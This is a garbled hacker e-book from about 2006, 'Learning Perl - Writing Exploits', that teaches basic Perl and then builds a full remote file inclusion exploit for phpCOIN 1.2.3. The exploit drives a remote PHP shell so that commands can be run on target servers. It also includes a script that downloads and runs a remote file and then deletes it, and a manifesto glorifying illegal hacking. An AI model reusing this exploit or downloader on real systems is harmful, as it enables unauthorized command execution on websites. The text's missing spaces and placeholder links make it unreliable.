SDB [Link].
org
Learning Perl
-
Writing Exploits
by: Warpboy
2006-2007:[Link]
SDB [Link]
Table of Contents
0x01: Introduction
0x02: Basics
0x03: Arrays
0x04: Conditionals
0x05: Gathering User Input
0x06: Loops
0x07: LibWWW
0x08: Sockets
0x09: Writing an Exploit
0x0A: Furthering Knowledge
0x0B: The End
0x0C: Credits / ShoutZ / Contact Information
Notes:
Allthesourcecodefoundinthisbookisinthedirectoriesincludedinthe
[Link]
cannotcopy+pasteiteasily,[Link]
youbettercomprehendwhatisactuallygoingoninthecodeitself.
Anyquestions/comments?Godowntoteh0x0Cchapterwheremy
[Link]!You'llsoonbecodingyourvery
ownexploit!
Sincerely,
Warpboy
"I am a hacker, knowledge is what I seek. I exist only to fulfill a lumbering quota of
curiosity. To test my skills challenge me, but question my skills, fall before me. The law
prohibits my actions, but my actions are unknown and unpredictible as everything in nature.
This fear of the unknown promotes flagitious crimes against the birth rights that every
human is given: freedom, curiosity, the right to question. I am a hacker, my actions are
flawless, and that way they shall stay. This curiosity completes us all, and drives us all.
Hacking is no solo trip, we ride together as notorious bandits, but you cannot stop us, after
all, we are just cyber ghosts, but its not who we are, it's what we do... that defines us." --
Warpboy
SDB [Link]
Introduction
0x01
Perl(PracticalExtractionandReportLanguage)startedoutasaUNIX
[Link]
[Link];
[Link]?
Perlisuniqueinthehackingscene.About70%[Link]
reasonwhymosthackerschoosetowritethereexploitsinperlisbecauseitiseasy
tointerpret,itiseasytodownloadandusetheseexploits,anditiseffecientandgets
[Link]
incodedperlexploits,[Link],thisisa
crashcourseinperlsoifyourjustinterestedinlearningthelanguage,feelfreeto
readthedocument.
0x02
TheBasics
WellbeforeyoubeginprogramminginPerlyouneedtodownload
ActiveStates'[Link]
whatyouneedisatexteditor.I,personally,recommendDzSoftsPerlEditor(www.
[Link]).[Link]
doesnotsuityoujustgoogle(PerlEditor).Perlfileshaveauniqueextension,all
[Link].
Nowonceallissetup,it'[Link]
simple,[Link]
[Link]
the"HelloWorld"[Link]
[Link]"HelloWorld"programin
Perl.
#!/usr/bin/perl-w
print"HelloWorld\n";
[Link]+dropitinthecommandprompt
[Link].
Let'[Link](#!/usr/bin/perl-w)isthe
[Link]
[Link](-w)inthatlineisasimpleerror
[Link]
[Link](print"HelloWorld\n";)is,obviously,theline
[Link]
[Link],theprintcommandislike
the(msgbox""inVB6orprintfcommandinc++).Younoticethe"\n",thisisthe
[Link],belowisachart
ofallthespecialcharacters.
Character Meaning
\n NewLine
\r Return
\t Tab
\f FormFeed
\b Backspace
\v VerticalTab
\e Escape
\a Alarm
\L LowercaseAll
\l LowercaseNext
\U UppercaseAll
\u UppercaseFirst
Foranotherexampleofusingthesespecialcharactersseebelow:
#!/usr/bin/perl-w
print"Hello\tWorld\n\a";
The2ndmostvitalthingneededforaPerlapplicationtorunwithouterrorsisthe
[Link](unlessinablock[explainedlater])has
[Link]
throughthecode.
[Link]
data([Link])andcancontainnumbersorstringsofalmostanylength.
Variablesinperlaredefinedwiththe"$"[Link]'sa
simple"HelloWorld"programusingvariables.
#!/usr/bin/perl-w
$Hello="HelloWorld\n";
print$Hello;
Thevariableinthisprogramis"$Hello"itisgiventhevalueof"HelloWorld\n".Then
thevariable'scontentsareprinted.
0x02
SDB [Link]
InPerltherearenotonlydoublequotationmarks,[Link]
singlequotationmarks('')areusedinarraysandcanbeusedinreplaceofdouble
[Link]
marksinterpretsspecialcharacterssuchasnewline(\n)andsinglequotationmarks
donot.
Afunctionthatwillcomeinhandywhendealingwithstringsinperlisstring
[Link].
#!/usr/bin/perl-w
#<----The"#"signisnotinterpretedinperlcode,itsusedforcomments
$YourName="YOURNAME";#Appendvariable$YourName
print"Hello".""."World".""."My".""."Name".""."Is".""."$YourName".
"\n";
TheaboveprintsHelloWorldMyNameIsYOURNAME,thatwasaddingstringsto
[Link],butwillcomeinhandylater.
[Link]
[Link]
applicationwhichwillprintoutthebasicmathfunctions.
#!/usr/bin/perl
#Adding,Subtracting,Multiplying,andDividinginPerl
#Perlcandoallbasicmathfunctionsandmore.
$a=3+5;#Addition
$b=5*5;#Multiplication
$c=10/2;#Division
$x=12-5;#Subtraction
print$a.""."ADDITION:Thesolutionshouldbe8.\n";
print$b.""."MULTIPLICATION:Thesolutionshouldbe25.\n";
print$c.""."DIVISION:Thesolutionshouldbe5.\n";
print$x.""."SUBTRACTION:Thesolutionshouldbe7.\n";
#AutoincrementingandAutodecrementing
$Count=$Count+1;
print"$Count\n";
#TheSameThingbuteasiertoread
$Count1+=1;#Decrement$Count1-=11
print"$Count1\n";
#SquareRoot
$Square=sqrt(121);
print"Thesquarerootof121is$Square\n";
#Exponents
$Exp=2**5;
print"$Exp\n";
SDB [Link]
0x02
SDB [Link]
Array'sareinlamenceterms"lists".Arrays,unlikevariables,holdmultiple
[Link],itsbestto
[Link]
applicationwrittenwithanarray.
#!/usr/bin/perl-w
@Hello=('Hello','World');#Arraysusethe@symbol,likeavariables"$".
printjoin('',@Hello)."\n";
Thearrayis"@Hello"anditcontainstwovalues:"Hello","World",arrayscan
[Link]
theelementsofanarray,thebelowprintsthesamethingastheabove,justusing
differentmethods.
#!/usr/bin/perl-w
#TheSplitMethod
$Sentence="HellomynameisWarpboy.";
@Words=split(//,$Sentence);
print"@Words".""."Thatwassplittingdata"."\n";
#TheLongerWay
@Hello=('Hello','World');
print$Hello[0]."".$Hello[1]."\n";
#Countstartsat0so'Hello'=0andsoon
Thesplitmethodissomewhatsimilartothejoinmethod,itsplitswordsapart
[Link]
[Link],[Link]
arraytakealookatthecodebelow.
#!/usr/bin/perl-w
@array=qw(bambambambam);
printjoin('',@array);
#Simple
Allinall,arraysareprettysimple,theyareliststhatcancontaindatawhich
willbecomeusefulinyourprograms.
Arrays
0x03
<dra
SDB [Link]
0x04
Conditionals
Conditionals,forlackofabettertermare,[Link]
featuredineveryprogramminglanguage,andifyourememberwaybackwhen,they
[Link]-Thenstatementsareusedtotestthecondition
[Link]-Thenstatmentscouldbe:IfBobatethe
apple,thenheisn'[Link]'teattheappleitwouldbe
logicaltoassumethatheisstillhungry.
InPerlthebasicformatforanIf-Thenstatementis:
if(Logical){Then...}
Conditional'sarerathersimpleandusedsomewhatfluentlyinmostPerl
[Link]'stakealookataconditionalinaction:
#!/usr/bin/perl-w
$i=1;
if($i==1){
$i++;#Increment
print$i."\n";
#Print's2becausethevariable$i'sconditionwastrue
#If$iwasanyother'#'itwouldntprintanything.
}
[Link]
lookatthecodebelowforanexample:
#!/usr/bin/perl-w
$i=Hello;
if($ieq'Hello'){
print"Hello!\n";
}
else{
print"Thevariable(i)doesn'tequalthecorrectstring!\n";
}#Changethevalueof$itoanything(else)anditwillusethe(else)statement
instead
Theabovecodeusestheelsestatement,theelsestatementisusedin
[Link]
[Link]'spretty
muchthebasic'sofconditionalsinPerl.
SDB [Link]
GatheringUserInput
Userinputisusedinexploits,almostalways,soitisvitaltounderstandthe
[Link]
gatherinformationfromtheusersoitcaninterprettheinputtedinformationand
processtheinformationtogivearesultdependingonwhattheprogramwas
supposetodo.
Thebelowisthefirstmethod,itcouldbereferredtoastheSTDINmethod.
STDINisalineinputoperator;hence,itcollectsuserinput.
#!/usr/bin/perl-w
#STDINMethod
print"HellomynameisWarpboy,whatisyourname?:";
$L1=<STDIN>;
chomp$L1;
print"Nicetomeetyou$L1!\n";
Thefirstlinecollectstheinputandassignsittothevariable$L1,thenthevariableis
chompedmeaningthenewlinecharacteritisnaturallygiven,[Link],
thecontentscollectedfromtheenduserareprinted.
Timetotakealookatthenextmethod;thismethodcouldbereferredtoas
the@ARGVmethod.@ARGVlookslikeanarray,butitisnoordinaryarray.
@[Link].
Anexampleyoumayrecognize:
[Link]/forums/1
Allofwhicharearguements([Link])whichcanbehandledby
@ARGVandinterprettedtoprintanoutput.
Belowisanexampleof@ARGVinuse.
#!/usr/bin/perl-w
if(@ARGV!=2){
print"Usage:perl$0<name><number>\n";
exit;
}
($name,$num)=@ARGV;
print"Hello$name&yournumberwas:$num!\n";
Theabovecodetakestheuserinputtedarguements(<name>and
<number>)andstorestheminthe@ARGVarray,thenprintsthecontentsina
simpaticofashion.
0x05
SDB [Link]
Younoticethe$0,thisisvariableisusedtotaketheplaceofwherethe
[Link]([Link]),[Link]$0anditisexcludedfromthe
inputtedinformation.
[Link]
[Link]:
#!/usr/bin/perl-w
#GetOptSTDmodule
useGetopt::Std;
getopts(":b:n:",\%args);
if(defined$args{n}){
$n1=$args{n};
}
if(defined$args{b}){
$n2=$args{b};
}
if(!defined$args{n}or!defined$args{b}){
print"Usage:perl$0-nName-bNumber\n";
exit;
}
print"Hello$n1!\n";
print"Yournumberwas:$n2\n";
print"[Link]!\n\n";
Theabovecodelooksalittlecomplicated;however,it'snothardtointerpret
[Link]"GetOpt"iscalled
andusingitsflags(-band-n)[Link].
Whathappensnextiswecreateaconditionalwhichbasicallysays"ifthe
userdefinedtheflag-nthenstoretheinformationinavariable($n1)".Thisprocess
[Link],thisoneissortof
[Link]
flagsaredefinedintheprogram,[Link]
usingtheGetOptmodule,[Link]
onewaytousetheGetOptmodule,thisisprobablymyfavoritewaytouseit.
[Link]
methodswillbeusedlaterwhenwritingexploitssothattheenduserdoesn'thaveto
configtheperlcodemanually,[Link]
requiredtosuccessfullysaythatyoulearnedperl,[Link]
thebasicsofeverykindofloopinperl.
0x05
Loops
SDB [Link]
[Link]
youhavepreviouslystudiedaprogramminglanguagethismaycomeeasytoyou.
Takealookatthefollowing,itisfullycommented(sorrythatitsbrokenupinto2
pages).
#!/usr/bin/perl
#LoopTutorial
#ByWarpboy
#[Link]
##################################
#FULLYCommented#
##################################
#WhileLoops
#Format
#while(Comparison){
#Action}
#Whileloopswillloopwhilethecomparisonistrue,ifitchangestofalse,itwillno
longercontinuetoloopthroughitssetofaction(s).
$i=1;
while($i<=5){
print"While:".$i."\n";
$i++;
}
#ForLoops
#Format
#for(init_expr;test_expr;step_expr;){
#ACTION}
##
#Initexpressionisdonefirst,thenthetestexpressionistestedtobetrueorfalse
then--
#thestepexpressionisexecuted.
for($t=1;$t<=5;$t++){
print"For:".$t."\n";
}
##Continuedtonextpage
0x06
SDB [Link]
#UntilLoops
#Format
#until(Comparison){
#Action}
##
#Anuntilloopteststhetruefalsecomparison,ifitistrue,itwillcontinuetoloop
untilthecomparisonchangestoa
#falsestate.
$p=1;
until($p==6){#It'ssixbecausewhen$pbecomes=5,itdoesntgothroughthe
setofactionsequences;therefore,5isn'tprinted.
print"Until:".$p."\n";
$p++;
}
#ForeachLoops
#Usedmostcommonlytoloopthroughlists
#Format
#foreach$num(@array){
#Action}
$n=1;
foreach$n(1..5){
print"Foreach:".$n."\n";
$n++;
}
#EndTutorial
Hopefully,thatexplainedtheloopsinaniceandeasywayforyoutolearn.
[Link]
[Link]'tbehardtocatchon.
LibWWWorLWPforshort,isamoduleincludedinmostperlinterpreters
[Link]'t
justinonemodule,therearedifferentderivitivesofit,theonesyouwillneedto
[Link]'t
complexatall,youshouldfindyourselfcodingwebinteractingperlapplicationsin
notimeafterreadingthischapter.
LibWWW
0x06
0x07
SDB [Link]
0x07
[Link]
simplemodulewillprobablybeoneofthemostun-usedmodulesinyourexploits
butitsetsasolidfoundationforyoutogrowandlearnmoreaboutdifferentLWP
modules.
Touse/calltheLWPmoduleoranymoduleyoudothefollowing:
#!/usr/bin/perl
useLWP::Simple;#callsthemodulelocated'C:\Perl\site\lib\LWP'#
print"haha?\n";
SomebasicfunctionsintheLWPmoduleconsistof:
get($site);-WillfetchthedocumentidentifiedbythegivenURLandreturnit.
getprint($site);-PrintstheSourceofaWebpage
getstore($site,$savefile);-Downloads+SavesfileonHDD
Formoredocumentationvisit([Link]
LWP/[Link]).Let'suseoneoftheLWPSimplefeaturesinthesomecodeso
[Link],fully
commentedofcourse.
#!/usr/bin/perl
#PerlWebDownloader
#ByWarpboy
#///Config///#
useLWP::Simple;
getstore('[Link]
storesfile
system('[Link]');#executesthe
sleep(3);#sleeps(waits)
unlink('[Link]');#deletesthefile
Itisfairlysimple,thefileisdownloadedandstoredusingthegetstore
[Link]
commandanddeletedusingtheunlinkcommandwitha3secondgapinbetween
theexecutionanddeletion(sleep(3)).
ThenextmodulecoveredistheLWPUserAgent,ithasmanymorefeatures
[Link]'thavetolearnallthefeaturesinthe
UserAgentmodule,onlytheonesthataremostcommonlyusedinexploitswillbe
[Link],ifyouwanttofurtheryourknowledgeorrefertosomething
lateron,Iadvisegivingalookatthedocumentationonthemodulehere(http://
[Link]/~gaas/libwww-perl-5.803/lib/LWP/[Link]).
0x07
SDB [Link]
Togetstartedlet'slearnalittleaboutGETrequests,theywillsoonbeyour
[Link]/1.1definesGETrequestsas:
[Link]
[Link]
representationofaurl.
ForanexampleofGETrequests,IhavecodedanMD5DatabaseFiller,
fullycommentedsoyoucanunderstandit.
#!/usr/bin/perl
#Md5DatabaseFiller#
#Version1.0,AddWordManually#
#ByWarpboy#
#[Link]#
#Modulesneeded:LWP(UserAgent),Digest(MD5)#
#Download+INSTALLmd5digestmodule:[Link]
MD5-2.36/[Link]#
useLWP::UserAgent;#CallingourLWPUseragentmodule
useDigest::MD5qw(md5_hex);#CallingourDigestMD5module(Install{ifyou
needit})
$brow=LWP::UserAgent->new;#Ournewuseragentdefinedunderthevariable
$brow
while(1){#Justasimplewhileloopthatwillruntheprogramcontinouslyinstead
ofjust1time
print"Wordtoadd:";#prints"Wordtoadd:"
$var=<STDIN>;#RememberfromourGatheringUserInputChapter?
chomp($var);#[Link]
$seek="[Link]
variable$seektotheurl(noticethe?q=$var)$varouruserinputedvariable
$brow->get($seek)ordie"FailedtoSendGETrequest!/n";#Browserexecutesa
getrequestonwiththeurldefinedinthe$seekvariable
print"$var".":".md5_hex("$var")."wasaddedtodatabase"."\n";#Prints
thewordaddedandthemd5hexoftheword
}#Endofthewhileloop
#Totestifitworkedgoto[Link]
hashgiventoyou
#Itshouldcrack:)
#Thiswasasimpleexampleofagetrequestexecutedonaserver
ThatwasasimpleexampleofGETrequestswiththeLWPUseragent,thats
[Link]
informationonwhatyoucandowithLWPUseragentIrecommendtakingalook
here:[Link]
SDB [Link]
0x08
Sockets
Thischaptercoversthebasic'softhemoduleIO(Input/Output)Socket
[Link],itseem'stobemoreprominentinSQLinjection
[Link]'t100%necessarytoread;however,pleasefeelfreeto
readitandlearnaboutthismodule.
TheIOSocketINETmoduleprovidesanobjectinterfacetocreatingand
usingsocketsintheAF_INETdomain.Wewillbecreatingasimplesocketto
[Link]
codebelow.
#!/usr/bin/perl
useIO::Socket;
print"AnIPtoconnectto:";
$ip=<STDIN>;
chomp($ip);
$i=1;
while($i<=5){
$sock=IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"$ip",PeerPort=>'80')
ordie"Couldn'tconnect!\n";
print"Connected!\n";
$i++;
}
ThefirstlinecallsthemoduleIOSocket.Thenext3linesareourSTDIN
[Link]$ip
[Link]"GatheringUserInput"chapter.
Thenextthingiswedefinethevariable$ias"1".Thenawhileloopjust
[Link](TCP/UDP)
[Link]
arguementisequaltotheuserinputcollectedIPaddress($ip).Thenthepre-
definedportwhichyoucanmodify,PeerPortisequalto80(HTTP).Thesocket
containsadiestatementwhichmeansthatifthereisafailuretoconnectthenthe
socketwillprinttheerrormessage"Couldn'tconnect[newline]".Thelastlineisour
truestatementwhichprints"Connected![newline]"iftherewasnofailureto
[Link]$ivariable.
Likesaidabove,thismoduleismostcommonlyusedinyourSQLInjection
[Link],however,since
perlisopensourceanditsnotautomaticallyloadedonWindowsmachines,Perl
trojansaremoreofajokeandeasilypreventedagainst.
SDB [Link]
WritinganExploit
Itisthetime,[Link]
[Link]
completeexploit,[Link]'tfeeloverwhelmed,ifyouhavebeen
comprehendingtheinformationwellyoushouldhavenoproblematall.
TheexploitwewillbecodingisaRFI(RemoteFileInclude)vulnerability
discoveredbymyfriendTimQ(HITIMQ!).Theparticularwebapplicationthatis
[Link]:[Link]
Let'[Link]
[Link]:
#!/usr/bin/perl
useLWP::UserAgent;#Wecallourmodule
#Storeouruserinputtedinformationintovariables
$site=@ARGV[0];
$shellsite=@ARGV[1];
$shellcmd=@ARGV[2];
if($site!~/http:\/\//||$site!~/http:\/\//||!$shellsite)#checksthevalidityoftheinputted
url
{
usg()#Iftheusrinputtedurlisinvalidjumptotheusgsubrountine
}
header();#Runtheheadersubrountine
[Link]
userinputvariablessetup,$site,$shellsite,$[Link]
[Link]
[Link]
subrountine(Locatedatthelowerportionoftheexploit).Thenaftertheconditional
isran,theheadersubrountineisexecuted(Alsolocatedatthelowerportionofthe
exploit).
Movingon:
while()
{
print"[shell]\$";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);
0x09
SDB [Link]
0x09
Timefortheloops,[Link]
haveawhile()thisishereforonereason,sothattheprogramrunscontinously
[Link]'sthesameassayingwhile(1),theloopruns
[Link]"[shell]$"areprintedtotakethefirstshell
[Link](<STDIN>)loop,whichmeanswhiletakinguser
inputforthecommand,[Link],
sameasthewhile()loop.
Movingon:
$xpl=LWP::UserAgent->new()ordie;
$req=HTTP::Request->new(GET=>$site.'/coin_includes/[Link]?_CCFG
[_PKG_PATH_INCL]='.$shellsite.'?&'.$shellcmd.'='.$cmd)ordie"\n\nFailedto
Connect,Tryagain!\n";
$res=$xpl->request($req);
$info=$res->content;
$info=~tr/[\n]/[ê]/;
ThisiswhenwereusingourknowledgeoftheLWPUseragentmoduleto
[Link]$xplisdefinedasa
[Link]$reqvariableisexecutingaGETrequestontheuser
inputtedurl($site),thentheactualvulnerabilityisplacedontotheendofthe$site
[Link]$shellsiteorwherethephpbackdoorislocated,isthe
$shellcmd(phpshellcommandvariable)and$cmdvariablewhichwastheuser
[Link]
wouldlooklike([Link]
[_PKG_PATH_INCL]=SHELL?&CMDVARIABLE=COMMAND).Noticethe
concatenationusedtocombineallthevariablesandandsymbolstogether,toform
onestringstoredinthe$reqvariable.
The$[Link]
GETrequestisstoredinthe$infovariable.
Movingon:
if(!$cmd){
print"\nEnteraCommand\n\n";$info="";
}
elsif($info=~/failedtoopenstream:HTTPrequestfailed!/||$info=~/:Cannot
executea
blankcommandin<b>/)
{
print"\nCouldNotConnecttocmdHostorInvalidCommandVariable\n";
exit;
}
elsif($info=~/^<br.\/>.<b>Warning/){
print"\nInvalidCommand\n\n";
};
SDB [Link]
0x09
ThesesetofconditionalsaretestingourreturnedcontentfromtheGET
requestforerrors,ifthereisanerrorintheusersinput,[Link]
thewebsitebeingtested,[Link]'sprettyeasytounderstand,not
muchneedforanyfurtherexplanation,onthissectorofcode.
Movingon:
if($info=~/(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
{
$final=$1;
$final=~tr/[ê]/[\n]/;
print"\n$final\n";
last;
}
Thispieceofcodeisvitaltotheexploit,itistestingthewebapplicationfor
[Link]"Warning"thenthe
programexitsmeaningthatthatspecificsitewasnotvulnerable.
Movingon:
else{
print"[shell]\$";
}#endofelse
}#endofwhile(<STDIN>)
}#endofwhile()
last;
subheader()
{
printq{
++++++++++++++++++++++++++++++++++++++++++++++
phpCOIN1.2.3--RemoteIncludeExploit
Vulnerablityfoundby:TimQ
Exploitcodedby:Warpboy
[Link]
OriginalPoC:[Link]
++++++++++++++++++++++++++++++++++++++++++++++
}
}
Thissectionoftheexploitcontainsanelsestatementforalltheprevious
[Link]"header"usedearlierinthe
exploit.
SDB [Link]
0x09
Theendoftheexploit:
subusg()
{
header();
printq{
==============================================================
========
Usage:[Link]<phpCOINFULLPATH><ShellLocation><ShellCmd>
<phpCOINFULLPATH>-[Link]
<ShellLocation>-[Link]/[Link]
<ShellCmdVariable>-Commandvariableforphpshell
Example:perlC:\[Link][Link]
==============================================================
=========
};
exit();
}
Thisisjustour"usg"sub-rountineandasimpleexitifallthecodeis
bypassedduetoerrorsect.
Forthefullcompiledcodedexploityoucanseeithere:
[Link]
Downloadableversionwithcomments:
[Link]
[Link]
RARpass:[Link]
Congratulations!
SDB [Link]
0x0A
FurtheringKnowledge
[Link]
[Link]
[Link]
interestedinlearningmorePerl.
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
Ofcourse
[Link]
Thereareavarietyofhard-copybooksande-booksavailablethatcan
teachyoumorethanwhatwastaughtinthiscrashcourseperlbook.
However,thisbookshouldhavesetagoodfoundationforyourPerlskills
togrowandprosperfrom.
0x0B
SDB [Link]
TheEnd
LearningPerl-WritingExploitshasbeenatrueexperiencefor
[Link],this
[Link]
codingtechniques.Ifallgoeswelltherepossiblycouldbeanupdated2nd
[Link].
Credits/ShoutZ/ContactInformation
Creditsto:TimQforfindingthephpCOINvulnerabilityandletting
meuseitinthisbook.
ShoutZ: TimQ, Z666, Ice_Dragon, kAoTiX,
Archangel, Phrankeh, PunkerX, G-RayZ, Ender,
Splinter, Nec, Nec's BoyFriend, Wolverine,
Sentai, Vaco, and Maverick.
Contact Information:
Email: Warpboy1@[Link]
MSNM: Warpboy1@[Link]
[Link]